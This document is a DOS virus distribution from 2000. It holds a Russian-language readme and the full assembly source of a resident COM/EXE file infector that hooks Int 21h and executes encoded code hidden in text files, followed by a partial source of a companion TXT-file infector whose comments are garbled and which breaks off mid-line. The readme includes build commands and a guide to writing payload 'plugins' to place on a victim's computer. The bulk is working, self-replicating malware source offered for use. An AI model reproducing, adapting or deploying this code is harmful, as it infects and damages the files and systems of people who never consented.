COMMENT % Yeah! The world's first TXT virus! Actually, there are two viruses - COM.EXE.TSR and TXT.TSR. The first virus waits for opening of any TXT-file and then reads some bytes from the end of this file, decrypts it and checks up the CRC. The good CRC means that TXT-file is infected by the second virus. In this case the first virus installs the second virus into memory and hooks Int 21h. After that both viruses work separately from each other. Ура! Свершилось! Наконец-то у меня дошли руки до написания этой документации (радуйтесь: теперь вам не прийдется разбирать исходник для того чтобы узнать, что я склепал на этот раз). А время на это дело у меня нашлось лишь потому, что зима в этом году все-таки наступила (как ни странно), и при такой температуре на улице сейчас ловить нечего. Ну ладно. Разговоры о погоде я приберегу для другого случая (а случаи-то бывают разные), так что к делу. Перед вами не какая-нибудь хуйня, а самый настоящий TXT вирус - мечта многих поколений вирмэйкеров. Хотя я гоню: TXT вирус находится в другом файле, а в этом - COM.EXE.TSR вирус. Вот о нем я сейчас и расскажу. Этот самый вирус имеет одну замечательную способность: он умеет запускать код, зашифрованный в простых текстовых файлах. Техническая сторона вопроса такова: зараженный текстовый файл представляет собой обычный текст плюс код, каждый байт которого зашифрован специальным алгоритмом. В конце файла находятся еще черыре байта - длина кода и контрольная сумма - тоже зашифрованные. Алгоритм шифровки очень прост: каждый байт кода представлен в виде восьми байтов, которые принимают значение либо 00, либо FF. Внешне это выглядит просто как большое количество пробелов. Когда юзер открывает зараженный текстовый файл, наш COM.EXE.TSR вирус (если, конечно, он уже находится в памяти) считывает из конца этого файла длину кода и контрольную сумму и расшифровывает их. Затем он выделяет нужное количество памяти, дочитывает из файла код, расшифровывает его, размещает в выделенной памяти, считает контрольную сумму и, если она оказалась правильной, передает коду управление. Если после отработки кода флаг CF окажется сброшен, то вирус освобождает ранее выделенную память, если же флаг CF установлен, то просто передает управление операционной системе. Теперь долгожданный (я надеюсь) рассказ про TXT вирус. Он получает управление способом, описанным выше. Далее он проверяет наличие своей копии в памяти, и, если она обнаружена, то сбрасывает флаг CF и завершает свою работу. В противном случае переставляет на себя вектор Int 21h и поднимает флаг CF (чтобы не быть выгруженным из памяти). После этого он ведет себя, как обычный файловый вирус, с тем лишь отличием, что заражает только текстовые файлы (указанным выше способом - шифрует себя и дописывается в конец вместе с размером кода и контрольной суммой). Атрибуты, дату и время создания файла TXT вирус не сохраняет - ломало такие мелочи писать. Но вернемся к COM.EXE.TSR вирусу. Это вполне полноценный вирус. Заражает файлы при открытии и запуске. Обрабатывает файлы с атрибутом "ReadOnly". Не изменяет атрибуты, дату и время создания файла. Не глючит на защищенных от записи дискетах. Корректно заражает COM файлы для Windows - RUSNS, ENUNS и т.п. Не портит NewEXE файлы. Не заражает файлы повторно: у COM файлов метка зараженности - команда "jmp" в самом начале, у EXE файлов - число 6666h в заголовке в поле контрольной суммы. Внимание! Еще один важный момент! Вы уже, наверное, догадались, что в зараженных текстовых файлах может находиться не только мой хваленый TXT вирус, а вообще любой код. Иными словами, можно писать плагины (это название не очень подходит, но другого я не придумал). Плагин - это код, обработанный специальным образом и записанный в текстовый файл. Если компьютер заражен описанным выше COM.EXE.TSR вирусом, то плагины, пришедшие на этот компьютер, будут запускаться автоматически, стоит только юзеру открыть зараженный плагином текстовый файл. Руководство по написанию плагинов: 1. Плагин - это обыкновенный код, больше всего похожий на COM файл. Только все смещения должны отсчитываться не от 100h (как в COM файле), а от 0. Поставьте в начале исходника директиву "org 0". Модель памяти должна быть TINY. 2. В начале плагина обязательно сохраняйте все используемые регистры, а в конце - восстанавливайте их. Выход из плагина - "retf". 3. Если вы пишите резидентный плагин, перед выходом устанавливайте флаг CF (плагин не будет выгружен из памяти). В противном случае сбрасывайте CF. 4. Вместо Int 21h лучше вызывать Int 65h - быстрее будет работать. Внимание! Если вы хотите установить вектор какого-нибудь прерывания, то для этой цели используйте только Int 21h - иначе Windows может проглючить. Вектор Int 65h менять нельзя - он используется COM.EXE.TSR вирусом. 5. Скомпилируйте плагин в EXE файл. Потом сконвертируйте его в BIN с помощью EXE2BIN и затем обработайте его прилагаемой утилитой BIN2TXT. Полученный текстовый файл можно закидывать к жертве на компьютер. В его начало можно записать какой-нибудь текст - это никак не повлияет на работу. Ну вот, пожалуй, и все. Видимо, это моя последняя работа в области DOS технологий. Вообще-то я уже довольно давно начал программировать под Windows (и скоро вы увидите мои продукты под эту операционку), но уж очень мне хотелось написать сие извращение, что я, собственно, и сделал. До скорых встреч! DJ Sadovnikov (http://i.am/djsad), 24.11.2000 ══════════════════════════════════════════════════════════════════════════════ Компилировать с помощью TASM 4.1+ tasm /m txtvir1.asm tlink /x txtvir1.obj del txtvir1.obj Файлы из архива: txtvir1.asm 17000 (вирус TxtVirusA.918) txtvir1.exe 1463 (он же откомпилированный) txtvir2.asm 4000 (вирус TxtVirusB.3280) txtvir2.txt 3280 (он же откомпилированный) example1.asm 730 (пример нерезидентного плагина) example1.txt 416 (он же откомпилированный) example2.asm 810 (пример резидентного плагина) example2.txt 448 (он же откомпилированный) bin2txt.pas 851 (конвертер BIN в TXT) bin2txt.exe 3968 (он же откомпилированный) % ;══════════════════════════════════════════════════════════════════════════════ DEBUG = 0 ; 0 - вирус реагирует на COM, EXE и TXT файлы ; 1 - вирус реагирует на COO, EXX и TXX файлы .286 Code segment use16 assume cs:Code, ds:Code Start: mov ah, 9 mov dx, offset Msg+100h int 21h mov ax, 4C00h int 21h Msg db 'Virus has started...$' ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ Virus: pusha push ds es call Entry Entry: pop si sub si, Entry-Virus ;[Проверяем наличие вируса в памяти] mov ax, 0ABCDh int 21h cmp ax, 0CDABh je Exit ;[Укорачиваем длину текущего блока памяти] mov ax, ds dec ax mov ds, ax mov bx, ds:[3] sub bx, MemSize+1 mov ah, 4Ah int 21h jc Exit ;[Сохраняем адрес старого обработчика Int 21h] mov ax, 3521h int 21h mov cs:[Ofs21h-Virus+si], bx mov cs:[Seg21h-Virus+si], es ;[Переставляем Int 21h на Int 65h] mov ax, 2565h mov dx, bx push es pop ds int 21h ;[Выделяем память для вируса] mov ah, 48h mov bx, MemSize int 21h jc Exit mov es, ax ;[Помечаем блок памяти как системную область] dec ax mov ds, ax mov ds:[1], word ptr 8 ;[Копируем вирус в выделенную память] cld push cs pop ds mov cx, CodeSize xor di, di push si rep movsb pop si ;[Устанавливаем свой обработчик Int 21h] mov ax, 2521h mov dx, Int21h-Virus push es pop ds int 21h ;[Определяем, из какого файла мы стартовали] Exit: push cs pop ds es mov ax, es mov bx, cs cmp ax, bx jne ExitEXE ;[Отдаем управление зараженной программе COM] ExitCOM: mov ax, ds:[Old3b-Virus+si] mov ds:[100h], ax mov al, ds:[Old3b+2-Virus+si] mov ds:[102h], al pop ds popa push 100h ret ;[Отдаем управление зараженной программе EXE] ExitEXE: add ax, 10h add ds:[OldCS-Virus+si], ax add ds:[OldSS+1-Virus+si], ax pop ds popa jmp $+2 cli OldSS: mov sp, 0 mov ss, sp OldSP: mov sp, 0 sti db 0EAh OldIP dw 0 OldCS dw 0 ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ОБРАБОТЧИКИ ;══════════════════════════════════════════════════════════════════════════════ Int24h: mov al, 3 iret Int21h: cmp ax, 0ABCDh jne NoTest xchg ah, al iret NoTest: pusha push ds es cmp ah, 3Dh je Begin cmp ah, 4Bh jne BadFunc ;[Сохраняем вектор Int 24h] Begin: mov ax, 3524h int 65h push es push bx ;[Устанавливаем свой обработчик Int 24h] push ds dx mov ax, 2524h mov dx, Int24h-Virus call Int65h pop dx ds ;[Ищем конец имени файла] mov si, dx SeekZero: inc si cmp ds:[si], byte ptr 0 jne SeekZero ;[Определяем тип файла] cmp ds:[si-4], byte ptr '.' jne Quit mov di, Extns-Virus call TestExt je ProcessCE call TestExt je ProcessCE call TestExt jne Quit jmp ProcessTXT ;[Восстанавливаем вектор Int 24h] Quit: mov ax, 2524h pop dx pop ds int 65h ;[Передаем управление следующему обработчику] BadFunc: pop es ds popa db 0EAh Ofs21h dw 0 Seg21h dw 0 ;══════════════════════════════════════════════════════════════════════════════ ;[Сохраняем атрибуты файла] ProcessCE: mov ax, 4300h int 65h jc Quit push cx push dx push ds ;[Обнуляем атрибуты файла] mov ax, 4301h xor cx, cx int 65h jc RestAttr ;[Открываем файл] mov ax, 3D02h int 65h jc RestAttr xchg bx, ax ;[Сохраняем дату и время создания файла] mov ax, 5700h int 65h jc Close push cx push dx ;[Считываем первые два байта файла] mov cx, 2 mov dx, Temp-Virus call Read jc RestTime ;[Устанавливаем указатель в начало файла] call SeekStart jc RestTime ;[Проверяем тип файла и его зараженность] mov ax, ds:[Temp-Virus] cmp ax, 'ZM' je InfectEXE cmp al, 0E9h je RestTime jmp InfectCOM ;[Восстанавливаем дату и время создания файла] RestTime: mov ax, 5701h pop dx pop cx int 65h ;[Закрываем файл] Close: mov ah, 3Eh int 65h ;[Восстанавливаем атрибуты файла] RestAttr: mov ax, 4301h pop ds pop dx pop cx int 65h jmp Quit ;══════════════════════════════════════════════════════════════════════════════ ;[Считываем заголовок EXE] InfectEXE: mov cx, 19h mov dx, Buffer-Virus call Read jc RestTime ;[Проверяем, заражен ли файл] cmp ds:[Buffer+12h-Virus], 6666h je RestTime cmp ds:[Buffer+18h-Virus], byte ptr 40h je RestTime mov ds:[Buffer+12h-Virus], 6666h ;[Проверяем, содержит ли файл оверлей] call GetFSize jc RestTime call Calc cmp ds:[Buffer+4-Virus], ax jne RestTime cmp ds:[Buffer+2-Virus], dx jne RestTime ;[Вычисляем длину файла с вирусом и вносим ее в заголовок] call GetFSize jc RestTime add ax, CodeSize adc dx, 0 call Calc mov ds:[Buffer+4-Virus], ax mov ds:[Buffer+2-Virus], dx ;[Сохраняем SS, SP, CS и IP] mov ax, ds:[Buffer+0Eh-Virus] mov ds:[OldSS+1-Virus], ax mov ax, ds:[Buffer+10h-Virus] mov ds:[OldSP+1-Virus], ax mov ax, ds:[Buffer+16h-Virus] mov ds:[OldCS-Virus], ax mov ax, ds:[Buffer+14h-Virus] mov ds:[OldIP-Virus], ax ;[Корректируем точку входа и адрес стека] call GetFSize jc RestTime mov cx, 16 div cx sub ax, ds:[Buffer+08h-Virus] mov ds:[Buffer+16h-Virus], ax mov ds:[Buffer+14h-Virus], dx mov ds:[Buffer+0Eh-Virus], ax mov ds:[Buffer+10h-Virus], CodeSize+100h ;[Записываем вирус в файл] mov cx, CodeSize call WriteVirus jc RestTimeA ;[Устанавливаем указатель в начало файла] call SeekStart jc RestTimeA ;[Записываем новый заголовок] mov cx, 19h mov dx, Buffer-Virus call Write RestTimeA: jmp RestTime ;══════════════════════════════════════════════════════════════════════════════ ;[Считываем три байта] InfectCOM: mov cx, 3 mov dx, Old3b-Virus call Read jc RestTimeA ;[Устанавливаем указатель на 7 позиций от конца файла] mov dx, -7 call SeekEnd jc RestTimeA add ax, 7 adc dx, 0 ;[Проверяем длину файла и вычисляем адрес перехода] or dx, dx jnz RestTimeA cmp ax, 0FF00h-CodeSize jae RestTimeA sub ax, 3 jc RestTimeA mov ds:[New3b+1-Virus], ax ;[Считываем семь байт] mov cx, 7 mov dx, XXXNS-Virus call Read jc RestTimeA ;[Корректируем XXXNS] mov cx, CodeSize cmp ds:[XXXNS+3-Virus], 'SN' jne Skip1 add cx, 7 add ds:[XXXNS+5-Virus], cx ;[Записываем вирус в файл] Skip1: call WriteVirus jc RestTimeA ;[Перемещаем указатель в начало файла] call SeekStart jc RestTimeA ;[Записываем команду перехода на вирус] mov cx, 3 mov dx, New3b-Virus call Write jmp RestTime ;══════════════════════════════════════════════════════════════════════════════ ;[Открываем файл] ProcessTXT: mov ax, 3D00h int 65h jnc Skip2 jmp Quit Skip2: xchg bx, ax ;[Устанавливаем указатель на 32 байта от конца файла] mov dx, -32 call SeekEnd jc CloseA ;[Считываем размер дампа и контрольную сумму] call CvtByte jc CloseA mov ds:[FSize-Virus], al call CvtByte jc CloseA mov ds:[FSize+1-Virus], al call CvtByte jc CloseA mov ds:[Crc-Virus], al call CvtByte jc CloseA mov ds:[Crc+1-Virus], al ;[Выделяем память под дамп] push bx mov ah, 48h mov bx, ds:[FSize-Virus] shr bx, 4 inc bx int 65h pop bx jc CloseA ;[Помечаем блок памяти как системную область] push ax dec ax mov es, ax mov es:[1], word ptr 8 pop es ;[Устанавливаем указатель на начало дампа] mov dx, ds:[FSize-Virus] add dx, 4 shl dx, 3 neg dx call SeekEnd jc Release ;[Преобразовываем дамп в нормальный код] cld xor bp, bp xor di, di Loop1: call CvtByte jc Release mov ah, 0 add bp, ax stosb cmp di, ds:[FSize-Virus] jne Loop1 ;[Проверяем контрольную сумму] cmp bp, ds:[Crc-Virus] jne Release ;[Передаем управление коду] mov ds:[SegCode-Virus], es jmp $+2 db 9Ah dw 0 SegCode dw 0 jc CloseA ;[Освобождаем память] Release: mov ah, 49h int 65h ;[Закрываем файл] CloseA: mov ah, 3Eh int 65h jmp Quit ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ПОДПРОГРАММЫ ;══════════════════════════════════════════════════════════════════════════════ CvtByte: mov cx, 8 mov dx, Buffer-Virus call Read jc Return cld mov cx, 8 xor ax, ax mov si, dx Loop2: lodsb neg al cmp al, 1 ja BadRet ror al, cl or ah, al loop Loop2 xchg ah, al GoodRet: clc ret ;══════════════════════════════════════════════════════════════════════════════ TestExt: add di, 3 mov al, ds:[si-3] and al, 0DFh cmp al, cs:[di-3] jne Return mov ax, ds:[si-2] and ax, 0DFDFh cmp ax, cs:[di-2] Return: ret ;══════════════════════════════════════════════════════════════════════════════ Calc: mov cx, 512 div cx or dx, dx jz $+3 inc ax ret ;══════════════════════════════════════════════════════════════════════════════ GetFSize: mov al, 2 jmp $+4 SeekStart: mov al, 0 mov ah, 42h xor cx, cx xor dx, dx int 65h ret SeekEnd: mov ax, 4202h mov cx, -1 int 65h jc Return cmp dx, 0 jge GoodRet BadRet: stc ret ;══════════════════════════════════════════════════════════════════════════════ WriteVirus: xor dx, dx Write: mov ah, 40h jmp $+4 Read: mov ah, 3Fh Int65h: push cs pop ds int 65h ret ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ДАННЫЕ ;══════════════════════════════════════════════════════════════════════════════ VirName db 'TxtVirusA.918 -- Copyright (c) by DJ Sadovnikov' IF DEBUG Extns db 'COOEXXTXX' ELSE Extns db 'COMEXETXT' ENDIF Old3b db 0,0,0 New3b db 0E9h,0,0 CodeSize = $-Virus XXXNS db 7 dup (?) Buffer db 19h dup (?) FSize dw ? Crc dw ? Temp dw ? MemSize = ($-Virus)/16 + 1 Code ends end Virus --[txtvir2.asm]---------------------------------------------------------------- ; 'Ёагб TxtVirusB.3280 ; ; ?R┐ЇЁ<ЁаRў вм б ЇR┐Rймо TASM 4.1+ ; ; tasm /m txtvir2.asm ; tlink /x txtvir2.obj ; exe2bin txtvir2.exe ; bin2txt txtvir2.bin txtvir2.txt ; ;НННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН .286 Code segment use16 assume cs:Code, ds:Code org 0 Virus: pusha push ds es push cs pop ds ;[?аRў?ап?┐ - <ЁзЁ? ўЁагб  ў Ї ┐пвЁ] mov ax, 7777h int 21h cmp ax, 6666h jne Install clc jmp Exit ;['Rеа -п?┐ бв алc ў?ЄвRа Int 21h] Install: mov ax, 3521h int 21h mov ds:[Seg21h], es mov ds:[Ofs21h], bx ;["бв - ў<Ёў ?┐ бўRc RЎа ЎRвзЁЄ Int 21h] mov ax, 2521h mov dx, offset Int21h int 21h stc Exit: pop es ds popa retf ;НННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН Int21h: cmp ax, 7777h jne NoTest mov ax, 6666h iret NoTest: pusha push ds es cmp ah, 3Dh jne Quit ;[?й?┐ ЄR-?ж Ё┐?-Ё д c< ] mov si, dx SeekZero: inc si cmp ds:[si], byte ptr 0 jne SeekZero ;[?Їа?¤?<п?┐ вЁЇ д c< ] mov ax, ds:[si-4] and ah, 0DFh cmp ax, 'T.' jne Quit mov ax, ds:[si-2] and ax, 0DFDFh cmp ax, 'TX' jne Quit ;[?вЄалў ?┐ д c<] mov ax, 3D02h int 65h jc Quit xchg bx, ax push cs pop ds ;["бв - ў<Ёў ?┐ гЄ  в?<м -  32 ЇRЁжЁЁ Rв ЄR-ж  д c< ] mov dx, -32 call SeekEnd jc Infect ;['зЁвлў ?┐ а ┐?а ¤ ┐Ї  Ё ЄR-ваR<м-го бг┐┐г] call CvtByte1 jc Infect mov byte ptr ds:[FSize], al call CvtByte1 jc Infect mov byte ptr ds:[FSize+1], al call CvtByte1 jc Infect mov byte ptr ds:[Crc], al call CvtByte1 jc Infect mov byte ptr ds:[Crc+1], al ;["бв - ў<Ёў ?┐ гЄ  в?<м -  - з